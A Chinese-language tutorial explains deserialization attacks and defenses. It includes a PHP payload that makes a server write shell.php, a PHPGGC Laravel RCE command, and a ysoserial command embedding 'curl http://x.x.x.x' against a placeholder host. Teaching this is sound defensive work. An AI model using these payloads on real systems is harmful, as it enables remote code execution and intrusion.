深入理解反序列化攻击:原理、示例与利用工具实战
反序列化漏洞是现代 Web 安全中的一个高危攻击类型,常常导致远程代码执行(RCE)、文件读写、身份伪造等严重后果。本文将从基础原理讲起,结合实际代码和工具(PHPGGC、ysoserial)演示反序列化攻击的完整过程。
一、什么是反序列化?
序列化 是将内存中的数据结构(对象)转化为字符串或二进制,以便存储或传输。
反序列化 则是将序列化后的数据重新恢复为原来的对象结构。
许多编程语言(如 PHP、Java、Python)都内置了序列化/反序列化机制。例如:
$u = ['name' => 'admin', 'role' => 'root'];
$str = serialize($u); // a:2:{s:4:"name";s:5:"admin";s:4:"role";s:4:"root";}
$u2 = unserialize($str); // 恢复为数组
二、反序列化攻击的本质
反序列化攻击的核心在于:
攻击者构造恶意的序列化数据,在反序列化过程中触发“魔术方法”或危险操作,从而实现远程控制。
PHP 中常见的魔术方法:
方法 | 触发时机 |
---|---|
__wakeup() | 反序列化时触发 |
__destruct() | 对象销毁时触发(页面结束、unset) |
__toString() | 对象被当字符串用时触发 |
三、PHP 反序列化漏洞示例
1. 漏洞类定义
class Logger {public $logFile;function __destruct() {file_put_contents($this->logFile, "Hacked!");}
}
2. 服务端存在反序列化逻辑
$data = $_GET['data'];
$obj = unserialize($data);
3. 构造利用 Payload
$payload = new Logger();
$payload->logFile = "shell.php";echo urlencode(serialize($payload));
得到的 payload:
O:6:"Logger":1:{s:7:"logFile";s:9:"shell.php";}
将其作为参数发给服务端,触发 __destruct()
,生成 shell.php
文件。
四、实际利用工具 —— PHPGGC
PHPGGC 是一款生成 PHP Gadget 链的工具,支持多种框架(如 Laravel、ThinkPHP、WordPress)中内置类的链式触发。
示例:Laravel RCE 利用链
phpggc Laravel/RCE1 system 'id' | base64
生成一个反序列化 payload,使用时可作为 cookie 或 POST 数据注入。
五、Java 反序列化攻击(CVE-2015-4852)
背景
Java 的 ObjectInputStream.readObject()
允许反序列化任意对象。若类中存在危险的 readObject()
、finalize()
等方法,可能被利用执行命令。
利用工具:ysoserial
ysoserial 是针对 Java Gadget 链的工具,广泛用于 WebLogic、Jenkins、Tomcat 等中间件漏洞复现。
java -jar ysoserial.jar CommonsCollections1 "curl http://x.x.x.x" > payload.ser
将 payload.ser
注入存在反序列化漏洞的服务端,即可执行命令。
六、防御反序列化攻击的建议
PHP 防护建议:
- 严禁使用
unserialize($_POST/$_GET)
等用户输入。 - 使用
json_decode()
替代unserialize()
。 - 若必须反序列化,使用
unserialize($data, ['allowed_classes' => ['SafeClass']])
白名单机制。
Java 防护建议:
- 使用
ObjectInputFilter
限制反序列化类。 - 避免使用
readObject()
接收用户输入。 - 移除已知存在 Gadget 链的第三方库。
七、总结
反序列化攻击是一类“只要存在入口就可能打穿”的严重漏洞。尤其在现代框架广泛引入“魔术方法”和自动对象映射的背景下,开发者应特别警惕反序列化行为,避免暴露攻击面。